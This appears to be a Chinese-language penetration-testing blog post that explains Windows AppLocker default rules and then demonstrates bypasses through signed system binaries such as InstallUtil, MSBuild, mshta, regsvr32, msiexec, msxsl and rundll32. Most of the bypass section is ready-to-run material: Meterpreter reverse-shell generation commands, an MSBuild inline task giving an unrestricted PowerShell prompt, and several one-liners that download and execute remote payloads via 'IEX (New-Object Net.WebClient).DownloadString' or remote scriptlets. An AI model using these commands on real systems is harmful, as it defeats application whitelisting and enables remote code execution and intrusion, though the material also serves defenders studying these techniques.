您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何進行AppLocker繞過分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
AppLocker即“應用程序控制策略”,是Windows 7系統中新增加的一項安全功能。在win7以上的系統中默認都集成了該功能,我們可以使用在services中啟用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker選項。
默認的Applocker規則支持以下幾種:
規則** | 關聯的文件格式 ---|--- 可執行文件 | .exe、.com 腳本 | .ps1、.bat、.cmd、.vbs、.js Windows Installer 文件 | .msi、.msp、.mst 封裝應用和封裝應用安裝程序 | .appx DLL 文件 | .dll、.ocx
.appx并不是所有的applocker都會存在,應根據windows版本來,在win10上,創建applocker規則后會在C:\Windows\System32\AppLocker生產相應的.applocker文件。
規則條件是用于幫助 AppLocker 標識要應用規則的應用的標準。三個主要規則條件為發布者、路徑和文件哈希。
發布者:基于應用的數字簽名標識它
路徑:通過應用在計算機文件系統中或網絡上的位置來標識它
文件哈希:表示已標識文件的系統計算的加密哈希
在你創建了一個applocker規則后,系統會默認詢問你是否添加一條默認規則,如下圖所示:
每個規則所對應的默認規則如下:
可執行的默認規則類型包括:
允許本地 Administrators 組的成員運行所有應用。
允許 Everyone 組的成員運行 Windows 文件夾中的應用。
允許 Everyone 組的成員運行 Program Files 文件夾中的應用。
腳本默認規則類型包括:
允許本地 Administrators 組的成員運行所有腳本。
允許 Everyone 組的成員運行 Program Files 文件夾中的腳本。
允許 Everyone 組的成員運行 Windows 文件夾中的腳本。
Windows Installer 默認規則類型包括:
允許本地 Administrators 組的成員運行所有 Windows Installer 文件。
允許 Everyone 組的成員運行所有已進行數字簽名的 Windows Installer 文件。
允許 Everyone 組的成員運行 Windows\Installer 文件夾中的所有 Windows Installer 文件。
DLL 默認規則類型:
允許本地 Administrators 組的成員運行所有 DLL。
允許 Everyone 組的成員運行 Program Files 文件夾中的 DLL。
允許 Everyone 組的成員運行 Windows 文件夾中的 DLL。
封裝應用默認規則類型:
允許 Everyone 組的成員安裝和運行所有已簽名的封裝應用和封裝應用安裝程序
可將規則配置為使用允許或拒絕操作:
允許。你可以指定允許在你的環境中運行的文件以及所針對的用戶或用戶組。你還可以配置例外以標識從規則中排除的文件。
拒絕。你可以指定 not 允許在你的環境中運行的文件以及所針對的用戶或用戶組。你還可以配置例外以標識從規則中排除的文件。
講了那么多,我們以禁止在桌面上運行exe文件為例,創建一條規則。創建完大體如下:
運行exe測試:
系統就會阻止我們運行
InstallUtil是.NET Framework的一部分,是一個命令行程序,它使用戶可以通過命令提示符快速安裝和卸載應用程序。由于此實用程序是Microsoft簽名的二進制文件,因此可以用來繞過AppLocker限制來運行任何.NET可執行文件。該實用程序也位于Windows文件夾內,該文件夾不會應用AppLocker策略,因為需要執行Windows文件夾的內容才能使系統正常運行。
首先我們使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一個模板
python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443
上面的命令將生成一個C#模板,其中將包含Metasploit ShellCode。
將生成后的文件放到目標中使用下面的方法執行:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe
當然你也可以是先使用msf生成一個csharp的payload,然后替換模板中的shellcode,然后將cs文件傳到目標機。
然后用csc編譯我們的腳本:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:exeshell.exe exeshell.cs
此時我們執行我們的文件試試:
被規則攔截,那么我們使用
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
繞過
msf成功上線
在msf中也有使用InstallUtil.exe進行applocker的bypass模塊。
exploit/windows/local/applocker_bypass
原理是一樣的
附帶常見的路徑:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的軟件構建平臺。它采用XML格式的項目文件,這些文件定義了構建各種平臺和配置的要求。(引用:MSDN MSBuild)
我們可以使用MSBuild通過受信任的Windows實用工具代理代碼執行。.NET版本4中引入的MSBuild內聯任務功能允許將C#代碼插入XML項目文件中。內聯任務MSBuild將編譯并執行內聯任務。MSBuild.exe是一個經過簽名的Microsoft二進制文件,因此,以這種方式使用它時,它可以執行任意代碼,并繞過配置為允許MSBuild.exe執行的應用程序白名單防護.
我們這里直接使用GreatSCT生成一個xml文件。
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py
并且會給我們生成一個rc文件,我們可以使用msfconsole -r 直接啟動msf
然后使用msbuild執行,
msf上線:
當然你也可以是使用msf生成一個c#的shellcode然后使用三好學生師傅的模板加載:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
注意將后綴名改為.csproj
除了反彈shell以外我們還可以用它來繞過powershell的限制。
代碼如下:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <!-- This inline task executes c# code. --> <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml --> <!-- Author: Casey Smith, Twitter: @subTee --> <!-- License: BSD 3-Clause --> <Target Name="Hello"> <FragmentExample /> <ClassExample /> </Target> <UsingTask TaskName="FragmentExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" ><ParameterGroup/><Task> <Using Namespace="System" /> <Using Namespace="System.IO" /> <Code Type="Fragment" Language="cs"><![CDATA[ Console.WriteLine("Hello From Fragment"); ]]> </Code></Task></UsingTask><UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" ><Task> <Reference Include="System.Management.Automation" /> <Code Type="Class" Language="cs"><![CDATA[ using System; using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; //Add For PowerShell Invocation using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class ClassExample : Task, ITask { public override bool Execute() { while(true) { Console.Write("PS >"); string x = Console.ReadLine(); try { Console.WriteLine(RunPSCommand(x)); } catch (Exception e) { Console.WriteLine(e.Message); } } return true; } //Based on Jared Atkinson's And Justin Warner's Work public static string RunPSCommand(string cmd) { //Init stuff Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); Pipeline pipeline = runspace.CreatePipeline(); //Add commands pipeline.Commands.AddScript(cmd); //Prep PS for string output and invoke pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); //Convert records to strings StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.Append(obj); } return stringBuilder.ToString().Trim(); } public static void RunPSFile(string script) { PowerShell ps = PowerShell.Create(); ps.AddScript(script).Invoke(); } } ]]> </Code></Task> </UsingTask> </Project>
原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml
成功繞過對powershell的限制。
常見路徑如下:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
mshta.exe是微軟Windows操作系統相關程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標記語言應用,用于執行.HTA文件。默認已集成在環境變量中。
使用Mshta的方式有很多,我們這里使用msf的exploit/windows/misc/hta_server模塊進行測試:
use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit
目標機執行:
mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
即可上線。
除了這種方法hta還可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等進行上線。
除了本地文件,mshta還支持遠程下載的方式執行payload,比如:
mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();
除了以上的方式,mshta可以用用來執行powershell:
<HTML> <HEAD> <script language="VBScript">Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')" </script> </HEAD> <BODY> </BODY> </HTML>
即使applocker已經禁止powershell執行了
InfDefaultInstall.exe是一個用來進行inf安裝的工具,具有微軟簽名,存在路徑為:
C:\Windows\System32\Infdefaultinstall.exe
C:\Windows\SysWOW64\Infdefaultinstall.exe
我們也可以用它來繞過一些限制。用法就是直接該文件后面跟你的inf文件即可。
它的執行流程如下:
作者給出的poc地址如下:
https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a
思路也和圖中那樣,使用shady.inf去調用遠程的sct后門。
不過他的調用需要更高的權限,我在win10下運行的截圖:
Mavinject是win10上面自帶的windows組件,我們可以用它來進行dll注入,并繞過部分限制。
用法如下:
mavinject32.exe <PID> <PATH DLL>
常見路徑如下:
C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe
C:\Windows\System32\mavinject.exe
C:\Windows\SysWOW64\mavinject.exe
但是我本地復現的時候并沒有成功注入,但是也沒有什么提示,不知道具體原因是什么,版本為: 10.0.15063.0 (WinBuild.160101.0800)
應該是可以成功注入的,附上一張推特大佬成功的圖。
有興趣的可以多嘗試幾個系統。
MSIEXEC是Microsoft的應用程序,可用于從命令行安裝或配置產品。這個其實不是很陌生的了,我之前也寫過用它來進行提權的文章。我們假設可以執行msi文件,用它來繞過applocker對powershell的限制。
先用msf生成一個msi文件。
msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
windows下執行:
成功繞過。
msxsl.exe是一個xml的轉換器,帶有微軟數字簽名。下載地址如下:
https://www.microsoft.com/en-us/download/details.aspx?id=21714
我們使用3gstudent來嘗試繞過applocker對calc的限制,
customers.xml:
<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="script.xsl" ?> <customers> <customer> <name>John Smith</name> <address>123 Elm St.</address> <phone>(123) 456-7890</phone> </customer> <customer> <name>Mary Jones</name> <address>456 Oak Ave.</address> <phone>(156) 789-0123</phone> </customer> </customers>
script.xml:
<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml(.)"/> </xsl:template> </xsl:stylesheet>
成功繞過:
當然也可以執行我們的shellcode,具體參考:
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
regsv***是Windows命令行實用程序,用于將.dll文件和ActiveX控件注冊和注銷到注冊表中。
文件位置:
C:\Windows\System32\regsv***.exe
C:\Windows\SysWOW64\regsv***.exe
下面為大家演示,繞過applocker上線。
scT文件內容如下:
<?XML version="1.0"?> <scriptlet> <registration progid="Pentest" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe"); ]]> </script> </registration> </scriptlet>
各參數的含義:
靜默不顯示任何消息// / s
不調用DLL注冊服務器// / n
要使用另一個IP地址,因為它不會調用DLL注冊服務器// / i
使用取消注冊方法// / u
除了本地執行,它還支持遠程加載:
regsv*** /u /n /s /i:http://ip:port/payload.sct scrobj.dll
sct我們使用GreatSct生成即可。
Rundll32是一個Microsoft二進制文件,可以執行DLL文件中的代碼。由于此實用程序是Windows操作系統的一部分,因此可以用作繞過AppLocker規則或軟件限制策略的方法
先生成我們的payload:
目標機執行:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "; document.write(); new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
上線:
除了遠程之外,也可以本地上線:
rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll
也可以用來繞過對某些軟件的限制,比如彈個cmd:
關于如何進行AppLocker繞過分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。